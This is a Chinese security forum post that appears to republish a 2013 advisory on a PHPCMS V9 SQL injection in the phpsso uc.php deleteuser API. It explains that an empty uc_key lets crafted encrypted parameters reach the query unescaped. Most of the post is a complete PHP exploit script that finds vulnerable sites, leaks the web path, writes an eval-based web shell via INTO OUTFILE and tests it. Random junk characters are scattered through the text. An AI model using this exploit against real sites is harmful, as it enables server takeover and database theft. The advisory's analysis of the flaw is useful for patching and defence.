找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1904|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。! ^1 e, n# \! [. x

3 Q  S( H" f' p+ ^! V' Y, i所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
, z* [$ q& q! \; `7 J- f
: A( M! M3 [) d2 |; s0 X" e8 ^漏洞分析:
, E& q% @2 [+ z1.未启用ucenter服务的情况下uc_key为空
& W/ e$ V9 k3 I- ?: _: Z8 E2 y+ Q2 B4 wdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));0 H4 i( b% _+ v3 B" i
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
6 z3 p$ Y1 N  q9 G$ t6 F. h    public function deleteuser($get,$post) {
1 o" b6 c: I4 B, n% i# N        pc_base::load_app_func('global', 'admin');
( l% u2 J" p) V( ^. X3 @! J9 _/ _) z        pc_base::load_app_class('messagequeue', 'admin' , 0);* D3 m3 g+ E8 S; |5 K/ R3 w# W6 J
        $ids = new_stripslashes($get['ids']);
/ Q$ [6 ~3 K! ~: k# v2 J" b0 F        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
' ?6 K9 B, n) \- V8 [: v9 SSQL语句为# Q% R! Y* t+ y, r( F/ V
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
/ _( v3 x. L% E1 a4 y$ F8 q# V* Z, @1 Q* b
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell6 B7 l# X% _4 f( Y( ]) s5 H
<?php; k  I5 C6 _6 J/ t8 E
print_r('
0 [7 D8 U8 }# E- E% E3 f---------------------------------------------------------------------------
3 d9 {! S, j7 l. h2 OPHPcms (v9 or Old Version) uc api sql injection 0day
* `5 Z0 Q" u8 l: S6 D# }7 o' \by rayh4c#80sec.com* V! e- m  I8 J! {- v
---------------------------------------------------------------------------
' z4 E/ G# X5 f');
( [0 y# D7 w$ V" [! q
4 [* q: t- h2 h4 g7 t& wif ($argc<3) {
6 \' N4 E/ P( F  y1 ^# l    print_r('
" X* U( N6 P1 ?' h* }---------------------------------------------------------------------------3 B5 ]7 f4 T9 o
Usage: php '.$argv[0].' host path OPTIONS' k4 S/ K# @+ X# [" y$ P
host:      target server (ip/hostname)1 Y: G" _' I& s1 @6 \$ ?2 b
path:      path to phpcms
3 j! t1 q2 R. w1 ^7 E9 V4 Y7 MOptions:
3 p1 U8 b/ C# H4 K  p+ i8 J -p[port]:    specify a port other than 80
- j6 l; b9 {$ {' G -P[ip:port]: specify a proxy6 N# s! B' R6 J! x! r+ ~
Example:
; V. c3 G  L; T4 Ephp '.$argv[0].' localhost /
  k4 b7 F# j7 B- L4 Q  C; c' {php '.$argv[0].' localhost /phpcms/ -p819 {  p$ a0 K' t. K4 W6 u/ U/ W
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
& x( O8 |- [: a- a* _! @9 X. w---------------------------------------------------------------------------
- X3 n4 n: ]; m" }0 }1 C');* e. q+ K( p4 O& j
    die;+ b9 n9 b# A6 A
}
, k. E$ o% `# y0 `9 G
1 U9 O. E! j5 W0 {: U8 ?) u; aerror_reporting(7);& w, N5 q# I/ m& z; y' K) z# P
ini_set("max_execution_time",0);* G- g. w, V4 i. m+ U3 L
ini_set("default_socket_timeout",5);& c8 v) v3 j8 t( M4 L' ^4 a/ Q

9 p* N) s4 B" a! \. A! Ufunction quick_dump($string)
: }* t  d" s" w{% C$ y: w% s" M. J9 |
  $result='';$exa='';$cont=0;( x: u; w4 A  S. s2 w
  for ($i=0; $i<=strlen($string)-1; $i++)
6 I; B- _- x/ {  {
+ O! m- _! H* ]- @$ v- k/ ~7 K   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))' w/ e5 P7 G" i) t2 k  t
   {$result.="  .";}
4 l& Z3 h8 l5 q! ?1 N/ _" j   else
" L% N( c. q; l; g0 F( o   {$result.="  ".$string[$i];}# L9 C, i( ~  @* Y4 G
   if (strlen(dechex(ord($string[$i])))==2)
9 R3 r. c+ Z  Q" T4 B7 m   {$exa.=" ".dechex(ord($string[$i]));}
+ K2 P; }0 O3 T   else3 ?. i7 T1 R7 `) o( T
   {$exa.=" 0".dechex(ord($string[$i]));}
* ?5 U; \# ?. [" o   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}+ D& f: Q0 B1 K( q9 S1 v
  }
! Y! O: v+ b$ o( A1 E return $exa."\r\n".$result;  K% b3 S/ g* u( Y
}  L! J- d* `  w$ X
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';* M" F# e# D" z  `+ K! q

& y5 w9 @* ]' r  {, e9 jfunction send($packet)- `! H* \8 f" I* m; T6 d4 x+ }7 F- G
{, x' A  t2 h' s; i2 z; o
  global $proxy, $host, $port, $html, $proxy_regex;, S' a9 i0 d) H# }( _% M2 ?
  if ($proxy=='') {: c6 l! I( A0 k8 t* E: r/ R. \
    $ock=fsockopen(gethostbyname($host),$port);. H# e8 c4 Y% G: Y) h2 v. m
    if (!$ock) {6 i2 u2 w6 p+ v- I
      echo 'No response from '.$host.':'.$port; die;
8 T& y& S0 H+ X% x: W" @( T; ^& ]    }
% l, P- ^4 ^# v1 k7 p: `, q. W  }4 U7 C! b4 J! S# y2 [0 F
  else {
7 g5 d$ |* c$ e) a9 H0 |        $c = preg_match($proxy_regex,$proxy);) q; n' i$ i# n8 [& W
    if (!$c) {! T) |+ q4 n& g$ U
      echo 'Not a valid proxy...';die;. k  K" p4 n; _/ e
    }' w- g  m; H2 o/ k
    $parts=explode(':',$proxy);
9 s' [$ V( q4 z9 I9 y' O  c. O2 @    $parts[1]=(int)$parts[1];6 D" J5 s9 }& o: Y' d+ z7 d
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
, P) O! a8 q  n    $ock=fsockopen($parts[0],$parts[1]);- c; F8 u$ n8 J" v" I8 K. p
    if (!$ock) {
- T$ F) I2 A5 n& v1 v      echo 'No response from proxy...';die;$ y9 C; p6 y2 R$ q; \8 q% _
        }6 R: I& y% O1 y" T; M, w
  }
+ L! z* m6 X# s& _: y  fputs($ock,$packet);% A) q/ o: T# J+ V; U) @. N' K8 q
  if ($proxy=='') {# o/ l/ o% [0 Y* m" `
    $html='';
' G1 m$ ?8 |8 h. A" y" S" a5 i! f+ a    while (!feof($ock)) {
" o* F2 E7 d8 Y- K      $html.=fgets($ock);
, S) d7 A; }2 G; W    }8 D$ K4 Z8 z! F3 S8 i
  }
) O& S9 v) g: P, ~# R# R% W  else {
0 ]& t+ j! K* L1 H; X' J2 s" ^    $html='';3 g& U0 ~+ H( |+ e3 x
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {' |7 Y3 l" `0 S" Q3 r+ C6 i+ ^9 ]
      $html.=fread($ock,1);9 l) |+ e4 `( Z/ b; D0 J* y
    }
; O$ q/ o- u+ R. Q( o5 P  }/ A4 W" S: _$ I' n/ e1 @# u
  fclose($ock);( E, B$ n% `6 @& A9 {- E) F. n
}
& _" H; ^0 d" G3 q" }
! s  p, e3 n  O8 g& Q9 ]3 o2 D$host=$argv[1];
* b5 O7 Z# T. d- E$path=$argv[2];
" }/ w  W, T; v% A8 B" i$ Q7 t$port=80;
3 _7 y- i! p+ r$proxy="";! v# K1 o) F/ n+ M$ Q4 H
for ($i=3; $i<$argc; $i++){' H& P& ?# B- _
$temp=$argv[$i][0].$argv[$i][1];
. r1 O0 Y7 X" {( N# {8 x& f" uif ($temp=="-p")9 ?+ b, V$ D( d# G5 c: N3 ?* C
{! R+ ]9 T4 g) G
  $port=(int)str_replace("-p","",$argv[$i]);
- S3 O, J, S6 B# l}
2 c: V3 `$ G; U/ p8 j+ xif ($temp=="-P")
2 I5 ]+ }- P( V; K3 w# w# H6 l{. N, Z* z* f. k
  $proxy=str_replace("-P","",$argv[$i]);
5 ]& {2 e4 q7 k! I+ x; p9 E5 M}: o. c) x! m3 i, H; ~
}, N- j4 B" K& ?0 D3 @

- o- g# D* z8 J' I1 L% A: Bif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
, [! U: }& x# O  \if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}. V6 A9 L1 ?8 T) ]0 }) g, d

9 c' R' w9 a( N+ K' J7 mfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {: P5 V) r& w* H$ A
" q$ G: y+ a. y! H$ Z8 p6 ]3 L
    $ckey_length = 4;7 x$ w* z+ Q4 U* l0 m3 O

' C8 A% N4 @+ \- {9 r4 R6 c3 ~2 R    $key = md5($key ? $key : '');
7 h( d/ n7 h' p" W) j% Q* |    $keya = md5(substr($key, 0, 16));
1 x: A+ a& W. A8 |    $keyb = md5(substr($key, 16, 16));
. _3 F" d9 c6 p0 H# s7 m( h* t    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';- S/ Q" n; `$ U! V# \  W1 G  V

: b! Z( `0 w# m7 ~    $cryptkey = $keya.md5($keya.$keyc);
8 l2 Q  S" ^: A3 g* [3 a( E5 W1 u    $key_length = strlen($cryptkey);+ s+ ~2 K3 f: c5 _/ Q1 K9 w: a
. R: S0 H3 d2 p+ [& k6 u) F9 e
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
" I; e1 S* D$ T9 ^; E3 ?6 F  d    $string_length = strlen($string);
* Z' F2 i+ ?+ K' ]: p& w" @# p1 ^
+ j, M! z: \4 i+ a, e    $result = '';9 S1 K6 x. a- d& c, Z! Y
    $box = range(0, 255);& U- Z: F, y( i$ j
1 L, \. m& }+ `7 s3 r/ z1 l) e
    $rndkey = array();: x) K! k  \2 D5 u2 F
    for($i = 0; $i <= 255; $i++) {
" Z- Z. g" g, Z7 B7 h1 A7 ?        $rndkey[$i] = ord($cryptkey[$i % $key_length]);/ ]/ h8 e$ F& J; h- b
    }
$ x& p) @0 w0 ~% q9 _6 E! {2 c
2 y2 o( ~! h% x+ H    for($j = $i = 0; $i < 256; $i++) {
1 l' u1 X3 n5 S% t        $j = ($j + $box[$i] + $rndkey[$i]) % 256;- z% e  Z# F+ m6 ^9 o) V$ D1 H1 v" Y- G
        $tmp = $box[$i];
7 [' {1 H! P% J( n4 n4 s2 H6 O        $box[$i] = $box[$j];: n* H4 w5 ?1 r$ R2 Y0 a- a
        $box[$j] = $tmp;0 v; N: A% M! g  P4 w
    }
9 `6 ^/ f8 v1 N8 i: e
7 ~3 {8 {; V, m    for($a = $j = $i = 0; $i < $string_length; $i++) {6 J- R0 u; F/ O# x# ^
        $a = ($a + 1) % 256;: U1 L- x1 T6 p' I, B, f
        $j = ($j + $box[$a]) % 256;
* o5 Q% Q' K, ]9 k        $tmp = $box[$a];
' Z% h0 m5 d8 I        $box[$a] = $box[$j];3 R5 ?9 H8 P3 M# x& o3 J
        $box[$j] = $tmp;8 y* T/ A! O: L+ J
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));+ p1 H( B' l' U% z3 D# J
    }0 K( E9 O  O: |/ x- T* _4 m+ G

$ k1 F$ l9 E3 v+ M; ?    if($operation == 'DECODE') {/ n! h1 `9 D; G, m, N# P& [- K
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
# _9 e% V5 g# r2 Z# [7 o/ w            return substr($result, 26);4 Q, S9 |$ F+ p% W$ X
        } else {$ `/ z4 o; L; f7 F. z# D4 h9 O
            return '';
  U/ H8 j" N: l/ @! C4 a$ b  G        }
! a2 U4 ~2 b, H1 r, |& P; n    } else {7 K0 v9 @9 Z& ^. Y
        return $keyc.str_replace('=', '', base64_encode($result));, p6 [' f/ L0 ?1 x/ ?
    }$ H6 {' u4 G* e+ e- l" `9 D  ?/ k

  b$ P( Y9 r) T  |}: a/ K5 d' g3 C! K& N# r! p8 P
; T. Y( F2 J( O0 R5 z- X1 e+ u9 P% _
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";( s9 c. [+ p+ d0 W8 N" D
$SQL = urlencode(authcode($SQL, "ENCODE", ""));0 N7 M( ]" a  y3 L7 x: ^
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";3 N1 B' ^' K' c8 I' Y  k/ O% o
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
$ f; \  V- m1 F) {8 Z; C$packet.="User-Agent: Mozilla/5.0\r\n";
$ I$ g6 y. ~% G. _$packet.="Host: ".$host."\r\n";
4 @9 s9 d4 }/ \% A' f1 w+ l; |! `$packet.="Connection: Close\r\n\r\n";5 K9 u; }, D7 Y$ j' M5 [6 l  L0 L
send($packet);5 A6 j1 t" I3 a% ~$ h
if(strpos($html,"MySQL Errno") > 0){
& L2 L* a" i" X4 Y$ qecho "[2] 发现存在SQL注入漏洞"."\n";
3 G4 s. L7 p6 K: Kecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";1 y7 p; M3 Q' S: a
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
1 h% n& V4 i; N7 A$packet.="User-Agent: Mozilla/5.0\r\n";
0 e- e- E2 p# v4 i: T, y$packet.="Host: ".$host."\r\n";
% Q8 T/ b9 X) S! V1 C$packet.="Connection: Close\r\n\r\n";
0 V4 Z1 {! w) \/ ^8 O& ?/ Rsend($packet);
) V- F  D9 r; f* w) L. d' hpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);# r- ~- b) D) L
//print_r($matches);
7 V% |) Q/ s+ v/ K& s/ Sif(!empty($matches)){
4 P$ L0 m1 l' r( }) E' I8 decho "[4] 得到web路径 " . $matches[0]."\n";- L6 c' K* e: \& l. Q+ c
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";, l! z# E! X/ N/ X0 n; e
$SQL = "time=999999999999999999999999&ids=1)";
/ F' \. }! d  `, t$ A( w$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";- f1 @6 L5 n: A( O5 y; E6 p( i
$SQL.="&action=deleteuser";7 o6 V& j' U- D& ~" t
$SQL = urlencode(authcode($SQL, "ENCODE", ""));3 g  b! O" i, ?+ t# F) r
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
8 J4 ~- T: v/ q7 h; @$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";1 j" t* Y- L/ f- |; t; T! n
$packet.="User-Agent: Mozilla/5.0\r\n";$ U% H1 @1 H2 j+ U
$packet.="Host: ".$host."\r\n";# K* m2 @- L0 T' Z: o% a
$packet.="Connection: Close\r\n\r\n";+ z0 q5 y/ j# ^  R* ^& |, H; F
send($packet);
7 n# u  V# w0 K3 s. jif(strpos($html,"Access denied") > 0){2 j7 ^$ @; Q' v7 s
echo "[-] MYSQL权限过低 禁止写入文件 ";4 R6 V$ J8 P3 T4 n$ a( t
die;
2 {0 H- X: R) r7 O0 c}
7 W' o5 J* X* [$ U' l( v5 k$ vecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
" X5 N1 \" @) o; g, ], h, D$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
0 k1 \; B; ]4 e6 i: k+ A& M0 |' f7 u6 q$packet.="User-Agent: Mozilla/5.0\r\n";
! ]* I1 w; W& x$packet.="Host: ".$host."\r\n";+ ]+ |) U/ \4 x/ i" F( ~9 D- ~4 E
$packet.="Connection: Close\r\n\r\n";
3 m& [' x. u) m7 j, m1 w+ V. vsend($packet);
% r- ]. c, Z! n/ P% m* _if(strpos($html,"<title>phpinfo()</title>") > 0){5 N$ H7 Q- L8 g- I+ N8 j
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";4 Y0 c4 ^9 L& T# j( R! m/ w" |/ W
}
& P# U0 w0 t4 ?) y+ c}else{
5 e! K5 O7 L7 W9 {" Necho "[-]未取到web路径 ";
' y( R; |! ^+ b6 Y" {0 K}1 M* _2 f! U" j. a. Z
}else{
( u3 {- B! J: z$ Aecho "[*]不存在SQL注入漏洞"."\n";
$ E1 N4 ^6 f3 {: o, X. b0 r}
# x. u8 G1 q. }7 t0 N( `9 S5 T4 b
% p; f- r- \3 y' j?>
+ Y/ c  m6 J$ ^& Z3 V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表